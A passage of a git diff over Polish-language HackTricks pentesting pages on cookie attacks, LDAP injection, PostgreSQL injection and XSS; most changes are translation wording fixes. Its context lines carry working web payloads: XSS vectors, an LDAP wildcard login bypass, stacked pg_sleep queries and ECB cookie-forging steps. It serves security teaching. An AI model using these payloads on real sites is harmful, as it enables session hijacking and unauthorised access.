Jednym z zabezpieczeń ciasteczek z prefiksem `__Host-` jest zapobieganie ich nadpisywaniu z subdomen. Zapobiega to na przykład [**atakom Cookie Tossing**](cookie-tossing.md). W wykładzie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**artykuł**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) przedstawiono, że możliwe było ustawienie ciasteczek z prefiksem \_\_HOST- z subdomeny, oszukując parsera, na przykład dodając "=" na początku lub na końcu...:
|
||||
Jedną z ochron prefiksowanych ciasteczek `__Host-` jest zapobieganie ich nadpisywaniu z subdomen. Zapobiega to na przykład [**atakom Cookie Tossing**](cookie-tossing.md). W wykładzie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**artykuł**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) przedstawiono, że możliwe było ustawienie ciasteczek z prefiksem \_\_HOST- z subdomen, oszukując parsera, na przykład dodając "=" na początku lub na końcu...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Lub w PHP możliwe było dodanie **innych znaków na początku** nazwy ciasteczka, które miały być **zastąpione znakami podkreślenia**, co pozwalało na nadpisanie ciasteczek `__HOST-`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
|
@ -116,7 +116,7 @@ Jeśli niestandardowe ciasteczko zawiera wrażliwe dane, sprawdź je (szczególn
|
|||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
Wrażliwe dane osadzone w ciasteczkach powinny być zawsze dokładnie sprawdzane. Ciasteczka zakodowane w Base64 lub podobnych formatach można często dekodować. Ta luka pozwala atakującym na modyfikację zawartości ciasteczka i podszywanie się pod innych użytkowników, kodując ich zmodyfikowane dane z powrotem do ciasteczka.
|
||||
Wrażliwe dane osadzone w ciasteczkach powinny być zawsze dokładnie sprawdzane. Ciasteczka zakodowane w formacie Base64 lub podobnym mogą często być dekodowane. Ta luka pozwala atakującym na zmianę zawartości ciasteczka i podszywanie się pod innych użytkowników, kodując ich zmodyfikowane dane z powrotem do ciasteczka.
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
|
@ -176,7 +176,7 @@ W Chrome, jeśli kod zastępczy Unicode jest częścią ustawionego cookie, `doc
|
|||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
To skutkuje tym, że `document.cookie` zwraca pusty ciąg, co wskazuje na trwałą korupcję.
|
||||
To skutkuje tym, że `document.cookie` zwraca pusty ciąg, co wskazuje na trwałe uszkodzenie.
|
||||
|
||||
#### Przemyt ciasteczek z powodu problemów z analizą
|
||||
|
||||
|
@ -236,7 +236,7 @@ To wykonanie da ci ciasteczko poprawnie zaszyfrowane i zakodowane z ciągiem **u
|
|||
|
||||
**CBC-MAC**
|
||||
|
||||
Może ciasteczko mogłoby mieć jakąś wartość i mogłoby być podpisane przy użyciu CBC. Wtedy integralność wartości to podpis stworzony przy użyciu CBC z tą samą wartością. Ponieważ zaleca się użycie jako IV wektora zerowego, ten typ sprawdzania integralności może być podatny.
|
||||
Może ciasteczko mogłoby mieć jakąś wartość i mogłoby być podpisane przy użyciu CBC. Wtedy integralność wartości to podpis utworzony przy użyciu CBC z tą samą wartością. Ponieważ zaleca się użycie jako IV wektora zerowego, ten typ sprawdzania integralności może być podatny.
|
||||
|
||||
**Atak**
|
||||
|
||||
|
@ -255,7 +255,7 @@ Utwórz 2 użytkowników z prawie tymi samymi danymi (nazwa użytkownika, hasło
|
|||
|
||||
Utwórz użytkownika o nazwie na przykład "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i sprawdź, czy w ciasteczku jest jakiś wzór (ponieważ ECB szyfruje każdy blok tym samym kluczem, te same zaszyfrowane bajty mogą się pojawić, jeśli nazwa użytkownika jest szyfrowana).
|
||||
|
||||
Powinien być wzór (o rozmiarze używanego bloku). Zatem, wiedząc, jak jest zaszyfrowana masa "a", możesz stworzyć nazwę użytkownika: "a"\*(rozmiar bloku)+"admin". Następnie możesz usunąć zaszyfrowany wzór bloku "a" z ciasteczka. I będziesz miał ciasteczko dla nazwy użytkownika "admin".
|
||||
Powinien być wzór (o rozmiarze używanego bloku). Zatem, wiedząc, jak jest zaszyfrowana masa "a", możesz utworzyć nazwę użytkownika: "a"\*(rozmiar bloku)+"admin". Następnie możesz usunąć zaszyfrowany wzór bloku "a" z ciasteczka. I będziesz miał ciasteczko dla nazwy użytkownika "admin".
|
||||
|
||||
## Referencje
|
||||
|
||||
|
|
|
@ -12,12 +12,12 @@ Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -50,8 +50,8 @@ Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co ni
|
|||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
**(&)** = Absolutna PRAWDA\
|
||||
**(|)** = Absolutna FAŁSZ
|
||||
**(&)** = Absolutne PRAWDA\
|
||||
**(|)** = Absolutne FAŁSZ
|
||||
|
||||
Na przykład:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
|
@ -73,9 +73,9 @@ Przykład: `(&(directory=val1)(folder=public))`
|
|||
|
||||
Następnie: `(&(objectClass=`**`*)(ObjectClass=*))`** będzie pierwszym filtrem (tym, który zostanie wykonany).
|
||||
|
||||
### Bypass logowania
|
||||
### Login Bypass
|
||||
|
||||
LDAP obsługuje kilka formatów przechowywania hasła: clear, md5, smd5, sh1, sha, crypt. Tak więc, może się zdarzyć, że niezależnie od tego, co wprowadzisz w haśle, zostanie ono zhashowane.
|
||||
LDAP obsługuje kilka formatów do przechowywania hasła: clear, md5, smd5, sh1, sha, crypt. Może się zdarzyć, że niezależnie od tego, co wprowadzisz w haśle, zostanie ono zhashowane.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -167,7 +167,7 @@ Możesz iterować po literach ASCII, cyfrach i symbolach:
|
|||
|
||||
#### **Odkryj ważne pola LDAP**
|
||||
|
||||
Obiekty LDAP **domyślnie zawierają kilka atrybutów**, które mogą być używane do **zapisywania informacji**. Możesz spróbować **brute-force wszystkich z nich, aby wyodrębnić te informacje.** Możesz znaleźć listę [**domyślnych atrybutów LDAP tutaj**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
Obiekty LDAP **domyślnie zawierają kilka atrybutów**, które mogą być używane do **zapisywania informacji**. Możesz spróbować **brute-force'ować wszystkie z nich, aby wyodrębnić te informacje.** Możesz znaleźć listę [**domyślnych atrybutów LDAP tutaj**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -240,7 +240,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -46,7 +46,7 @@ Check how to compromise the host and escalate privileges from PostgreSQL in:
|
|||
### PostgreSQL String functions
|
||||
|
||||
Manipulating strings could help you to **bypass WAFs or other restrictions**.\
|
||||
[**Na tej stronie** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**znajdziesz kilka przydatnych funkcji String.**
|
||||
[**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.**
|
||||
|
||||
### Stacked Queries
|
||||
|
||||
|
@ -55,7 +55,7 @@ Remember that postgresql support stacked queries, but several application will t
|
|||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
```
|
||||
### Sztuczki XML
|
||||
### XML triki
|
||||
|
||||
**query\_to\_xml**
|
||||
|
||||
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -53,7 +53,7 @@ Próbując wykorzystać XSS, pierwszą rzeczą, którą musisz wiedzieć, jest *
|
|||
|
||||
### Surowy HTML
|
||||
|
||||
Jeśli twoje dane wejściowe są **odzwierciedlane w surowym HTML** na stronie, będziesz musiał wykorzystać jakiś **tag HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko niektóre z wielu możliwych tagów HTML, które możesz użyć.\
|
||||
Jeśli twoje dane wejściowe są **odzwierciedlane na surowej stronie HTML**, będziesz musiał wykorzystać jakiś **tag HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko niektóre z wielu możliwych tagów HTML, które możesz użyć.\
|
||||
Również pamiętaj o [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Wewnątrz atrybutu tagu HTML
|
||||
|
@ -62,10 +62,10 @@ Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz wartości atrybutu ta
|
|||
|
||||
1. **Uciec z atrybutu i z tagu** (wtedy będziesz w surowym HTML) i stworzyć nowy tag HTML do wykorzystania: `"><img [...]`
|
||||
2. Jeśli **możesz uciec z atrybutu, ale nie z tagu** (`>` jest zakodowane lub usunięte), w zależności od tagu możesz **stworzyć zdarzenie**, które wykonuje kod JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana **jeśli kontrolujesz całą wartość lub tylko część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
|
||||
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), wówczas w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana **jeśli kontrolujesz całą wartość lub tylko część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
|
||||
4. Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować sztuczki z **`accesskey`**, aby wykorzystać lukę (będziesz potrzebować jakiegoś rodzaju inżynierii społecznej, aby to wykorzystać): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Dziwny przykład Angular wykonujący XSS, jeśli kontrolujesz nazwę klasy:
|
||||
Dziwny przykład Angular wykonującego XSS, jeśli kontrolujesz nazwę klasy:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -75,7 +75,7 @@ Dziwny przykład Angular wykonujący XSS, jeśli kontrolujesz nazwę klasy:
|
|||
|
||||
W tym przypadku twój input jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami strony HTML, w pliku `.js` lub wewnątrz atrybutu używając protokołu **`javascript:`**:
|
||||
|
||||
* Jeśli jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami, nawet jeśli twój input jest w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `</script>` i uciec z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML** a potem zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` jest wewnątrz kodu HTML.
|
||||
* Jeśli jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami, nawet jeśli twój input jest w jakichkolwiek cudzysłowach, możesz spróbować wstrzyknąć `</script>` i uciec z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML** a potem zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` jest wewnątrz kodu HTML.
|
||||
* Jeśli jest odzwierciedlany **wewnątrz ciągu JS** i ostatni trik nie działa, musisz **wyjść** z ciągu, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi błąd, nie zostanie wykonany):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
|
@ -149,17 +149,17 @@ Niektóre **przykłady**:
|
|||
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Kodowanie omijające WAF obrazu
|
||||
## WAF bypass encoding image
|
||||
|
||||
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
|
||||
|
||||
## Wstrzykiwanie wewnątrz surowego HTML
|
||||
|
||||
Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz nadużyć `<`, aby stworzyć nowe tagi: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **kodowany HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
|
||||
Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz nadużyć `<`, aby stworzyć nowe tagi: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **kodowany HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać tę sytuację**.\
|
||||
W tych przypadkach również **pamiętaj o** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Uwaga: Komentarz HTML można zamknąć używając\*\*\*\***** ****`-->`**** ****lub \*\*\*\*****`--!>`**_
|
||||
|
||||
W tym przypadku, jeśli nie używa się czarnej/białej listy, możesz użyć ładunków takich jak:
|
||||
W tym przypadku, jeśli nie użyto czarnej/białej listy, możesz użyć ładunków takich jak:
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
|
@ -251,7 +251,7 @@ Jeśli w celu wykorzystania luki musisz, aby **użytkownik kliknął link lub fo
|
|||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
Jeśli myślisz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Dangling Markup**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** lukę **bez** wykonywania **kodu JS**.
|
||||
Jeśli myślisz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Dangling Markup**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** lukę **bez** wykonywania **kod JS**.
|
||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
|
@ -280,7 +280,7 @@ Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć p
|
|||
|
||||
**Obejście wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
|
||||
|
||||
**Zakodowane znaki HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniżej będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Wróć </a>`
|
||||
**Zakodowane znaki HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniższe będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Wróć </a>`
|
||||
|
||||
Zauważ, że **jakiekolwiek kodowanie HTML jest ważne**:
|
||||
```javascript
|
||||
|
@ -303,7 +303,7 @@ Zauważ, że **jakiekolwiek kodowanie HTML jest ważne**:
|
|||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Ominięcie wewnętrznego zdarzenia za pomocą kodowania Unicode**
|
||||
**Ominiwanie wewnętrznego zdarzenia za pomocą kodowania Unicode**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
|
@ -424,7 +424,7 @@ A w **meta tagach**:
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS wewnątrz ukrytego atrybutu**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie dostępu. Oto wektor:
|
||||
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS wewnątrz ukrytego atrybutu**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a w systemie OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie dostępu. Oto wektor:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -511,7 +511,7 @@ loop``````````````
|
|||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
### Kodowanie Unicode wykonania JS
|
||||
### Kodowanie Unicode wykonanie JS
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
@ -736,7 +736,7 @@ top[8680439..toString(30)](1)
|
|||
## **Luki w DOM**
|
||||
|
||||
Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.\
|
||||
**Z powodu rozszerzenia wyjaśnienia** [**luk w DOM, zostało przeniesione na tę stronę**](dom-xss.md)**:**
|
||||
**Z powodu rozszerzenia wyjaśnienia** [**luk w DOM, zostało to przeniesione na tę stronę**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -771,7 +771,7 @@ Możesz sprawić, że **administrator wywoła twoje self XSS** i ukraść jego c
|
|||
|
||||
### Normalizowany Unicode
|
||||
|
||||
Możesz sprawdzić, czy **odzwierciedlone wartości** są **normalizowane w Unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Możesz sprawdzić, czy **odzwierciedlone wartości** są **normalizowane unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### Obejście flagi PHP FILTER\_VALIDATE\_EMAIL
|
||||
```javascript
|
||||
|
@ -861,7 +861,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```
|
||||
### Typy skryptów do XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Więc, które typy mogą być wskazane do załadowania skryptu?
|
||||
(Źródło: [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Więc, które typy mogą być wskazane do załadowania skryptu?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
|
@ -1006,7 +1006,7 @@ Zatem, jeśli z tego modułu możemy **wywołać inną funkcję**, możliwe jest
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
W podobny sposób jak w poprzednim przykładzie, możliwe jest **użycie obsługi błędów** do uzyskania dostępu do **wrappera** modułu i uzyskania funkcji **`require`**:
|
||||
W podobny sposób do poprzedniego przykładu, możliwe jest **użycie obsługi błędów** do uzyskania dostępu do **wrappera** modułu i uzyskania funkcji **`require`**:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1368,7 +1368,7 @@ Jeśli nie możesz wstrzyknąć znaczników HTML, warto spróbować **wstrzykną
|
|||
|
||||
AMP, mający na celu przyspieszenie wydajności stron internetowych na urządzeniach mobilnych, zawiera znaczniki HTML uzupełnione przez JavaScript, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych za pośrednictwem [komponentów AMP](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza konkretne komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w ich e-mailach.
|
||||
Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza określone komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w ich e-mailach.
|
||||
|
||||
Przykład [**opisu XSS w Amp4Email w Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
|
@ -1446,9 +1446,9 @@ Znajdź **więcej ładunków SVG w** [**https://github.com/allanlw/svg-cheatshee
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -1462,7 +1462,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
